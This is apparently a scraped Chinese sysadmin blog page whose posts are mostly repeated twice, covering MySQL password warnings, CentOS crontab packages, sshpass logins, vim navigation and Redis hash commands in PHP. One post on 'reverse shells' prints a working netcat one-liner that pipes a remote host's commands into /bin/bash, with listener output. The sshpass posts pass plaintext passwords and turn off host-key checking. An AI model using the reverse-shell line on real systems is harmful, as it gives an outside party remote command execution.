
MySQL 5.6 警告信息 command line interface can be insecure 修复
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
在命令行输入密码,就会提示这些安全警告信息。
Warning: Using a password on the command line interface can be insecure.
注: mysql -u root -pPASSWORD 或 mysqldump -u root -pPASSWORD 都会输出这样的警告信息.
1、针对mysql
mysql -u root -pPASSWORD 改成mysql -u root -p 在输入密码即可.
2、mysqldump就比较麻烦了,通常都写在scripts脚本中。
解决方法:
对于 mysqldump 要如何避免出现(Warning: Using a password on the command line interface can be insecure.) 警告信息呢?
vim /etc/mysql/my.cnf
[mysqldump]
user=your_backup_user_name
password=your_backup_password
修改完配置文件后, 只需要执行mysqldump 脚本就可以了。备份脚本中不需要涉及用户名密码相关信息。
来自:http://880314.blog.51cto.com/4008847/1348413
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
在命令行输入密码,就会提示这些安全警告信息。
Warning: Using a password on the command line interface can be insecure.
注: mysql -u root -pPASSWORD 或 mysqldump -u root -pPASSWORD 都会输出这样的警告信息.
1、针对mysql
mysql -u root -pPASSWORD 改成mysql -u root -p 在输入密码即可.
2、mysqldump就比较麻烦了,通常都写在scripts脚本中。
解决方法:
对于 mysqldump 要如何避免出现(Warning: Using a password on the command line interface can be insecure.) 警告信息呢?
vim /etc/mysql/my.cnf
[mysqldump]
user=your_backup_user_name
password=your_backup_password
修改完配置文件后, 只需要执行mysqldump 脚本就可以了。备份脚本中不需要涉及用户名密码相关信息。
来自:http://880314.blog.51cto.com/4008847/1348413
其实这很简单,在Win10系统中点击开始按钮→设置→系统→默认应用,在“Web浏览器”中选择自己想要的浏览器就可以。
原因是我把Edge浏览器删除了,默认是Edge浏览器引起的,修改成安装的Chrome或其它浏览器如IE也就Ok了,弄得找了好久。
原因是我把Edge浏览器删除了,默认是Edge浏览器引起的,修改成安装的Chrome或其它浏览器如IE也就Ok了,弄得找了好久。
linux c 通过hostname获得ip地址
Unix/LinuxC技术 jackxiang 2017-6-24 12:45
./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1
来自:http://blog.csdn.net/zzz_781111/article/details/7372024
背景:在用Ansible的脚本初始化环境时,在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。
CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64
注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:
CentOS5.x:
经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
vixie-cron-4.1-81.el5
crontab package in CentOS is vixie-cron.
service crond restart
Stopping crond: [ OK ]
Starting crond: [ OK ]
On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie
From:http://www.zxsdw.com/index.php/archives/1151/
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。
CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64
注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:
CentOS5.x:
经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
vixie-cron-4.1-81.el5
crontab package in CentOS is vixie-cron.
service crond restart
Stopping crond: [ OK ]
Starting crond: [ OK ]
On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie
From:http://www.zxsdw.com/index.php/archives/1151/
背景:在多台机器上同步一个文件,尤其是刚开始重装系统或没有ansible这样的运维工具,比如想批量给升级一下yum源,用rz 是可以的,如果十来台还成,上五十台就有点麻烦了。sshpass是个好东西,结合scp和shell能完成很多台机器的文件的拷贝,然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接,expect可能捕获的输出可能是yes啥的输出,spawn这个命令也是expect的rpm包的一个命令,但都得yum安装,这个引出新的安装问题,http://justwinit.cn/post/5089/,还是讲sshpass包。
关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64
sshpass: 用于非交互的ssh 密码验证
ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取
实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd
同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:
如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:
来自:http://jackxiang.com/post/8807/
$> sshpass -h
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
-f filename Take password to use from file
-d number Use number as file descriptor for getting password
-p password Provide password as argument (security unwise)
-e Password is passed as env-var "SSHPASS"
With no parameters - password will be taken from stdin
-h Show help (this screen)
-V Print version information
At most one of -f, -d, -p or -e should be used
sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同
#从命令行方式传递密码
$> sshpass -p user_password ssh user_name@192.168..1.2
$> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .
#从文件读取密码
$> echo "user_password" > user.passwd
$> sshpass -f user.passwd ssh user_name@192.168..1.2
#从环境变量获取密码
$> export SSHPASS="user_password"
$> sshpass -e ssh user_name@192.168..1.2
[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31
#第一次操作可能没反应,可用下述参数解决
[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no
Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.
Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1
[root@nfs01 ~]# logout
或
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no
Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、1#直接带密码连接服务器
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31
Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、2#以文件形式保存密码连接服务器
[root@backup ~]# echo "123456">ssh.passwd
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31
Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、3#将密码写入变量
[root@backup ~]# export SSHPASS="123456"
[root@backup ~]# sshpass -e ssh 172.16.1.31
Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。
[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/
[root@nfs01 ~]# pwd
/root
[root@nfs01 ~]# ls -l hosts
-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/
anaconda-ks.cfg
hosts
install.log
install.log.syslog
3、总结
sshpass的优点:简单易用,速度会比expect快很多。
sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。
来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64
sshpass: 用于非交互的ssh 密码验证
ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取
实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd
同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:
如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:
来自:http://jackxiang.com/post/8807/
$> sshpass -h
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
-f filename Take password to use from file
-d number Use number as file descriptor for getting password
-p password Provide password as argument (security unwise)
-e Password is passed as env-var "SSHPASS"
With no parameters - password will be taken from stdin
-h Show help (this screen)
-V Print version information
At most one of -f, -d, -p or -e should be used
sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同
#从命令行方式传递密码
$> sshpass -p user_password ssh user_name@192.168..1.2
$> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .
#从文件读取密码
$> echo "user_password" > user.passwd
$> sshpass -f user.passwd ssh user_name@192.168..1.2
#从环境变量获取密码
$> export SSHPASS="user_password"
$> sshpass -e ssh user_name@192.168..1.2
[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31
#第一次操作可能没反应,可用下述参数解决
[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no
Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.
Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1
[root@nfs01 ~]# logout
或
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no
Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、1#直接带密码连接服务器
[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31
Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41
[root@nfs01 ~]# logout
2、2、2#以文件形式保存密码连接服务器
[root@backup ~]# echo "123456">ssh.passwd
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31
Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、3#将密码写入变量
[root@backup ~]# export SSHPASS="123456"
[root@backup ~]# sshpass -e ssh 172.16.1.31
Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41
[root@nfs01 ~]# logout
Connection to 172.16.1.31 closed.
2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。
[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/
[root@nfs01 ~]# pwd
/root
[root@nfs01 ~]# ls -l hosts
-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts
[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/
anaconda-ks.cfg
hosts
install.log
install.log.syslog
3、总结
sshpass的优点:简单易用,速度会比expect快很多。
sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。
来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
Linux渗透之反弹Shell
Unix/LinuxC技术 jackxiang 2017-6-24 12:41
按顺序开三个SecureCRT终端,在一里面输入echo "hello jackX",会在二里面显示hello jackX:
一、
nc -l -p 1234 -vv
echo "hello jackX"
二、
nc -l -p 4321 -vv
hello jackX
三、
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
nc 123.57.252.183 1234|/bin/bash|nc 123.57.252.183 4321
这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。
管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.44.202.177:4321显示。
nc -l -p 4321 -vv
nc -l -p 4321 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:59294.
nc -l -p 1234 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:51650.
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
触发上面两个。
摘自实践自:【【安全客】Linux渗透之反弹Shell】http://m.toutiao.com/group/6398009141268365570/?iid=7737129548&app=news_article&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share
一、
nc -l -p 1234 -vv
echo "hello jackX"
二、
nc -l -p 4321 -vv
hello jackX
三、
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
nc 123.57.252.183 1234|/bin/bash|nc 123.57.252.183 4321
这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。
管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.44.202.177:4321显示。
nc -l -p 4321 -vv
nc -l -p 4321 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:59294.
nc -l -p 1234 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:51650.
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
触发上面两个。
摘自实践自:【【安全客】Linux渗透之反弹Shell】http://m.toutiao.com/group/6398009141268365570/?iid=7737129548&app=news_article&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share
[实践OK]vim在窗口的最上面显示当前打开文件的路径和文件名,vim移动到指定字符-随意动, vim 跳到指定行,单词移动等移动如飞
Unix/LinuxC技术 jackxiang 2017-6-24 12:39
使用”q/“命令打开了command-line窗口,这个窗口列出了我之前所查找的字符串。我现在想查找包含”check_swap“,于是先跳到第399行,把”check_tty“改为”check_swap“,然后按回车。此时vim就去查找包含”check_swap“位置了。这个例子比较简单,你可能觉得command-line窗口没什么必要,但如果你要查找的内容是一个很长的正则表达式,你就会发现它非常有用了。
一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:
let &titlestring = expand("%:p")
if &term == "screen"
set t_ts=^[k
set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
set title
endif
如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html
二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG
n为指定的行数(如25)
25gg或者25G 跳转到第25行.
在命令模式下输入行号n
: n
如果想打开文件即跳转
vim +n FileName
查看当然光标所在的行
Ctrl+g
三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。
四、[ 移动到指定字符 ],这里发现t命令用不了:
上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。
“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。
“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。
这四个命令只在当前行中移动光标,光标不会跨越回车换行符。
可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。
“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。
来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:
let &titlestring = expand("%:p")
if &term == "screen"
set t_ts=^[k
set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
set title
endif
如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html
二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG
n为指定的行数(如25)
25gg或者25G 跳转到第25行.
在命令模式下输入行号n
: n
如果想打开文件即跳转
vim +n FileName
查看当然光标所在的行
Ctrl+g
三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。
四、[ 移动到指定字符 ],这里发现t命令用不了:
上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。
“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。
“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。
这四个命令只在当前行中移动光标,光标不会跨越回车换行符。
可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。
“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。
来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
[实践Ok]Redis学习手册(Hashes数据类型),以及PHP代码如何操作Redis的Hash实现。
Cache与Store jackxiang 2017-6-24 12:38
背景:对于一些Redis里所提供的数据结构,用Hash可能是用得最多的,为何呢?因为日常中很多东西都可以用它来表示。
把一个复杂的需要序列化的东西变为一个HashTable进行存储,利用Hash存储节约内存,这样还可能更快更少的消耗实现高并发:
<?php
/** 每天下达指令的也就是x权限(每种鸡蛋的上下限),
而r就是只有看温度的权限,而w就是有设置温度权限 **/
$arr = array(
"tcp" =>array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"mac"=>"00-50-56-C0-00-08",
"chineseName"=>"蛋壳108109",
"EnglishName"=>"LevooAllCanBeHatch"
),
"frame" =>array(
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdjfkldf",
"isconnected"=>0,
"chmod"=>"rwx"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdj1fkl2df",
"isconnected"=>1,
"chmod"=>"rw"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdjfk33ld22f",
"isconnected"=>1,
"chmod"=>"x"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfl323djdjfkld22f",
"isconnected"=>1,
"chmod"=>"rwx"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jf1121fldjflkdjdjfkld22f",
"isconnected"=>1,
"chmod"=>"rwx"
)
)
);
print_r($arr);
echo json_encode($arr);
?>
命令示例:
1. HSET/HGET/HDEL/HEXISTS/HLEN/HSETNX:
#在Shell命令行启动Redis客户端程序
/> redis-cli
#给键值为myhash的键设置字段为field1,值为stephen。
redis 127.0.0.1:6379> hset myhash field1 "stephen"
(integer) 1
#获取键值为myhash,字段为field1的值。
redis 127.0.0.1:6379> hget myhash field1
"stephen"
#myhash键中不存在field2字段,因此返回nil。
redis 127.0.0.1:6379> hget myhash field2
(nil)
#给myhash关联的Hashes值添加一个新的字段field2,其值为liu。
redis 127.0.0.1:6379> hset myhash field2 "liu"
(integer) 1
#获取myhash键的字段数量。
redis 127.0.0.1:6379> hlen myhash
(integer) 2
#判断myhash键中是否存在字段名为field1的字段,由于存在,返回值为1。
redis 127.0.0.1:6379> hexists myhash field1
(integer) 1
#删除myhash键中字段名为field1的字段,删除成功返回1。
redis 127.0.0.1:6379> hdel myhash field1
(integer) 1
#再次删除myhash键中字段名为field1的字段,由于上一条命令已经将其删除,因为没有删除,返回0。
redis 127.0.0.1:6379> hdel myhash field1
(integer) 0
#判断myhash键中是否存在field1字段,由于上一条命令已经将其删除,因为返回0。
redis 127.0.0.1:6379> hexists myhash field1
(integer) 0
#通过hsetnx命令给myhash添加新字段field1,其值为stephen,因为该字段已经被删除,所以该命令添加成功并返回1。
redis 127.0.0.1:6379> hsetnx myhash field1 stephen
(integer) 1
#由于myhash的field1字段已经通过上一条命令添加成功,因为本条命令不做任何操作后返回0。
redis 127.0.0.1:6379> hsetnx myhash field1 stephen
(integer) 0
2. HINCRBY:
#删除该键,便于后面示例的测试。
redis 127.0.0.1:6379> del myhash
(integer) 1
#准备测试数据,该myhash的field字段设定值1。
redis 127.0.0.1:6379> hset myhash field 5
(integer) 1
#给myhash的field字段的值加1,返回加后的结果。
redis 127.0.0.1:6379> hincrby myhash field 1
(integer) 6
#给myhash的field字段的值加-1,返回加后的结果。
redis 127.0.0.1:6379> hincrby myhash field -1
(integer) 5
#给myhash的field字段的值加-10,返回加后的结果。
redis 127.0.0.1:6379> hincrby myhash field -10
(integer) -5
3. HGETALL/HKEYS/HVALS/HMGET/HMSET:
#删除该键,便于后面示例测试。
redis 127.0.0.1:6379> del myhash
(integer) 1
#为该键myhash,一次性设置多个字段,分别是field1 = "hello", field2 = "world"。
redis 127.0.0.1:6379> hmset myhash field1 "hello" field2 "world"
OK
#获取myhash键的多个字段,其中field3并不存在,因为在返回结果中与该字段对应的值为nil。
redis 127.0.0.1:6379> hmget myhash field1 field2 field3
1) "hello"
2) "world"
3) (nil)
#返回myhash键的所有字段及其值,从结果中可以看出,他们是逐对列出的。
redis 127.0.0.1:6379> hgetall myhash
1) "field1"
2) "hello"
3) "field2"
4) "world"
#仅获取myhash键中所有字段的名字。
redis 127.0.0.1:6379> hkeys myhash
1) "field1"
2) "field2"
#仅获取myhash键中所有字段的值。
redis 127.0.0.1:6379> hvals myhash
1) "hello"
2) "world"
来自:http://www.cnblogs.com/stephen-liu74/archive/2012/03/19/2352932.html
实践如下:
Redis学习手册(Hashes数据类型):
/usr/local/redis/bin/redis-cli -h 10.44.202.177 -p 6379
10.44.202.177:6379> hset myhash field1 "stephen"
(integer) 1
10.44.202.177:6379> hget myhash field1
"stephen"
10.44.202.177:6379> hget myhash field2
(nil)
10.44.202.177:6379> hset myhash field2 "liu"
(integer) 1
10.44.202.177:6379> hlen myhash
(integer) 2
10.44.202.177:6379> hexists myhash field1
(integer) 1
10.44.202.177:6379>
10.44.202.177:6379> hdel myhash field1
(integer) 1
10.44.202.177:6379> hdel myhash field1
(integer) 0
10.44.202.177:6379> hexists myhash field1
(integer) 0
10.44.202.177:6379> hsetnx myhash field1 stephen
(integer) 1
10.44.202.177:6379> hsetnx myhash field1 stephen
(integer) 0
10.44.202.177:6379> del myhash
(integer) 1
10.44.202.177:6379> hset myhash field 5
(integer) 1
10.44.202.177:6379> hincrby myhash field 1
(integer) 6
10.44.202.177:6379> hincrby myhash field -1
(integer) 5
10.44.202.177:6379> hincrby myhash field -10
(integer) -5
10.44.202.177:6379> del myhash
(integer) 1
10.44.202.177:6379> hmset myhash field1 "hello" field2 "world"
OK
10.44.202.177:6379> hmget myhash field1 field2 field3
1) "hello"
2) "world"
3) (nil)
10.44.202.177:6379> hgetall myhash
1) "field1"
2) "hello"
3) "field2"
4) "world"
10.44.202.177:6379> hkeys myhash
1) "field1"
2) "field2"
10.44.202.177:6379> hvals myhash
1) "hello"
2) "world"
PHP如何设置Hash:
<?php
$redis = new redis();
$redis->connect('10.51.77.34', 6379);
$redis->delete('test');
$redis->hset('test', 'key1', 'hello');
echo $redis->hget('test', 'key1'); //结果:hello
echo "<br>";
$redis->hSetNx('test', 'key1', 'world');
echo $redis->hget('test', 'key1'); //结果:hello
$redis->delete('test');
$redis->hSetNx('test', 'key1', 'world');
echo "<br>";
echo $redis->hget('test', 'key1'); //结果:world
echo $redis->hlen('test'); //结果:1
var_dump($redis->hdel('test','key1')); //结果:bool(true)
$redis->delete('test');
$redis->hSet('test', 'a', 'x');
$redis->hSet('test', 'b', 'y');
$redis->hSet('test', 'c', 'z');
print_r($redis->hkeys('test')); //结果:Array ( [0] => a [1] => b [2] => c )
print_r($redis->hvals('test')); //结果:Array ( [0] => x [1] => y [2] => z )
print_r($redis->hgetall('test')); //结果:Array ( [a] => x [b] => y [c] => z )
var_dump($redis->hExists('test', 'a')); //结果:bool(true)
$redis->delete('test');
echo $redis->hIncrBy('test', 'a', 3); //结果:3
echo $redis->hIncrBy('test', 'a', 1); //结果:4
$redis->delete('test');
var_dump($redis->hmset('test', array('name' =>'tank', 'sex'=>"man"))); //结果:bool(true)
print_r($redis->hmget('test', array('name', 'sex'))); //结果:Array ( [name] => tank [sex] => man )
$redis->hSet("hashA", "name", "iname");
$redis->hSet("hashA", "age", "age");
// 同时设置多个值
$redis->hMset("hashA", [
"gender" => "male",
"salary" => 12000
]);
$redis->hGet("hashA", "salary");
// 获得多个值
var_dump($redis->hMGet("hashA", ["name", "gender"]));
?>
php redishash.php
hello<br>hello<br>world1int(1)
Array
(
[0] => a
[1] => b
[2] => c
)
Array
(
[0] => x
[1] => y
[2] => z
)
Array
(
[a] => x
[b] => y
[c] => z
)
bool(true)
34bool(true)
Array
(
[name] => tank
[sex] => man
)
array(2) {
["name"]=>
string(5) "iname"
["gender"]=>
string(4) "male"
}
来自:http://blog.csdn.net/qjwcn/article/details/45293035
把一个复杂的需要序列化的东西变为一个HashTable进行存储,利用Hash存储节约内存,这样还可能更快更少的消耗实现高并发:
<?php
/** 每天下达指令的也就是x权限(每种鸡蛋的上下限),
而r就是只有看温度的权限,而w就是有设置温度权限 **/
$arr = array(
"tcp" =>array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"mac"=>"00-50-56-C0-00-08",
"chineseName"=>"蛋壳108109",
"EnglishName"=>"LevooAllCanBeHatch"
),
"frame" =>array(
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdjfkldf",
"isconnected"=>0,
"chmod"=>"rwx"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdj1fkl2df",
"isconnected"=>1,
"chmod"=>"rw"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfldjflkdjdjfk33ld22f",
"isconnected"=>1,
"chmod"=>"x"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jfdjfl323djdjfkld22f",
"isconnected"=>1,
"chmod"=>"rwx"
),
array(
"ip"=>"192.168.1.1",
"fd"=>"2",
"token"=>"jf1121fldjflkdjdjfkld22f",
"isconnected"=>1,
"chmod"=>"rwx"
)
)
);
print_r($arr);
echo json_encode($arr);
?>
命令示例:
1. HSET/HGET/HDEL/HEXISTS/HLEN/HSETNX:
#在Shell命令行启动Redis客户端程序
/> redis-cli
#给键值为myhash的键设置字段为field1,值为stephen。
redis 127.0.0.1:6379> hset myhash field1 "stephen"
(integer) 1
#获取键值为myhash,字段为field1的值。
redis 127.0.0.1:6379> hget myhash field1
"stephen"
#myhash键中不存在field2字段,因此返回nil。
redis 127.0.0.1:6379> hget myhash field2
(nil)
#给myhash关联的Hashes值添加一个新的字段field2,其值为liu。
redis 127.0.0.1:6379> hset myhash field2 "liu"
(integer) 1
#获取myhash键的字段数量。
redis 127.0.0.1:6379> hlen myhash
(integer) 2
#判断myhash键中是否存在字段名为field1的字段,由于存在,返回值为1。
redis 127.0.0.1:6379> hexists myhash field1
(integer) 1
#删除myhash键中字段名为field1的字段,删除成功返回1。
redis 127.0.0.1:6379> hdel myhash field1
(integer) 1
#再次删除myhash键中字段名为field1的字段,由于上一条命令已经将其删除,因为没有删除,返回0。
redis 127.0.0.1:6379> hdel myhash field1
(integer) 0
#判断myhash键中是否存在field1字段,由于上一条命令已经将其删除,因为返回0。
redis 127.0.0.1:6379> hexists myhash field1
(integer) 0
#通过hsetnx命令给myhash添加新字段field1,其值为stephen,因为该字段已经被删除,所以该命令添加成功并返回1。
redis 127.0.0.1:6379> hsetnx myhash field1 stephen
(integer) 1
#由于myhash的field1字段已经通过上一条命令添加成功,因为本条命令不做任何操作后返回0。
redis 127.0.0.1:6379> hsetnx myhash field1 stephen
(integer) 0
2. HINCRBY:
#删除该键,便于后面示例的测试。
redis 127.0.0.1:6379> del myhash
(integer) 1
#准备测试数据,该myhash的field字段设定值1。
redis 127.0.0.1:6379> hset myhash field 5
(integer) 1
#给myhash的field字段的值加1,返回加后的结果。
redis 127.0.0.1:6379> hincrby myhash field 1
(integer) 6
#给myhash的field字段的值加-1,返回加后的结果。
